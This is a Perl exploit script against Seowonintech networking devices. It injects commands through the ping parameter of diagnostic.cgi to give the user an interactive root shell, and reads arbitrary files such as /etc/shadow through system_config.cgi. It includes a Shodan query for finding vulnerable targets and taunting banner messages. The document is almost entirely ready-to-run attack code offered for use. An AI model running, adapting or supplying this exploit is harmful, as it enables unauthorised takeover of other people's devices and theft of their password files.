Seowonintech Devices – Remote Command Execution
#!/usr/bin/perl # # [+] Seowonintech all device remote root exploit v2 # ===================================================== # author: | email: # Todor Donev (latin) | todor dot donev # Òîäîð Äîíåâ (cyrillic) | @googlemail.com # ===================================================== # type: | platform: | description: # remote | linux | attacker can get root # hardware | seowonintech | access on the device # ===================================================== # greetings to: # Stiliyan Angelov,Tsvetelina Emirska,all elite # colleagues and all my friends that support me. # ===================================================== # warning: # Results about 37665 possible vulnerabilities # from this exploit. # ===================================================== # shodanhq dork: # thttpd/2.25b 29dec2003 Content-Length: 386 Date: 2013 # ===================================================== # P.S. Sorry for buggy perl.. :) # 2o13 Hell yeah from Bulgaria, Sofia # # Stop Monsanto Stop Monsanto Stop Monsanto # # FREE GOTTFRID SVARTHOLM WARG FREE # GOTTFRID SVARTHOLM WARG is THEPIRATEBAY co-founder # who was sentenced to two years in jail by Nacka # district court, Sweden on 18.06.2013 for hacking into # computers at a company that manages data for Swedish # authorities and making illegal online money transfers. use LWP::Simple qw/$ua get/; my $host = $ARGV[0] =~ /^http:\/\// ? $ARGV[0]: 'http://' . $ARGV[0]; if(not defined $ARGV[0]) { usg(); exit; } print "[+] Seowonintech all device remote root exploit\n"; $diagcheck = $host."/cgi-bin/diagnostic.cgi"; $syscheck = $host."/cgi-bin/system_config.cgi"; $res = $ua->get($diagcheck) || die "[-] Error: $!\n"; print "[+] Checking before attack..\n"; if($res->status_line != 200){ print "[+] diagnostic.cgi Status: ".$res->status_line."\n"; }else{ print "[o] Victim is ready for attack.\n"; print "[o] Status: ".$res->status_line."\n"; if(defined $res =~ m{selected>4</option>}sx){ print "[+] Connected to $ARGV[0]\n"; print "[+] The fight for the future Begins\n"; print "[+] Exploiting via remote command execution..\n"; print "[+] Permission granted, old friend.\n"; &rce; }else{ print "[!] Warning: possible vulnerability.\n"; exit; } } $res1 = $ua->get($syscheck) || die "[-] Error: $!\n"; if($res1->status_line != 200){ print "[+] system_config.cgi Status: ".$res1->status_line."\n"; exit; }else{ print "[+] Trying to attack via remote file disclosure release.\n"; if(defined $syscheck =~ s/value=\'\/etc\/\'//gs){ print "[+] Victim is ready for attack.\n"; print "[+] Connected to $ARGV[0]\n"; print "[o] Follow the white cat.\n"; print "[+] Exploiting via remote file dislocure..\n"; print "[+] You feeling lucky, Neo?\n"; &rfd; }else{ print "[!] Warning: Possible vulnerability. Believe the unbelievable!\n"; exit; } } sub rfd{ while(1){ print "# cat "; chomp($file=<STDIN>); if($file eq ""){ print "Enter full path to file!\n"; } $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY"; $data=get($bug) || die "[-] Error: $ARGV[0] $!\n"; $data =~ s/Null/File not found!/gs; if (defined $data =~ m{rows="30">(.*?)</textarea>}sx){ print $1."\n"; } } } sub rce{ while(1){ print "# "; chomp($rce=<STDIN>); $bug = $host."/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;".$rce.";&ping_count=1&action=Apply&html_view=ping"; $rce =~ s/\|/\;/; if($rce eq ""){print "enter Linux command\n";} if($rce eq "clear"){system $^O eq 'MSWin32' ? 'cls' : 'clear';} if($rce eq "exit" || $rce eq "quit"){print "There is no spoon...\n"; exit;} $data=get($bug) || die "[-] Error: $!\n"; if (defined $data =~ m{(\s.*) Content-type:}sx){ $result = substr $1, index($1, ' loss') or substr $1, index($1, ' ms'); $result =~ s/ loss\n//; $result =~ s/ ms\n//; print $result; } } } sub usg { print " [+] Seowonintech all device remote root exploit\n"; print " [!] by Todor Donev todor dot donev @ googlemail.com\n"; print " [?] usg: perl $0 <victim>\n"; print " [?] exmp xpl USG: perl $0 192.168.1.1 :)\n"; print " [1] exmp xpl RCE: # uname -a :)\n"; print " [2] exmp xpl RFD: # cat /etc/webpasswd or /etc/shadow, maybe and /etc/passwd :P\n"; } |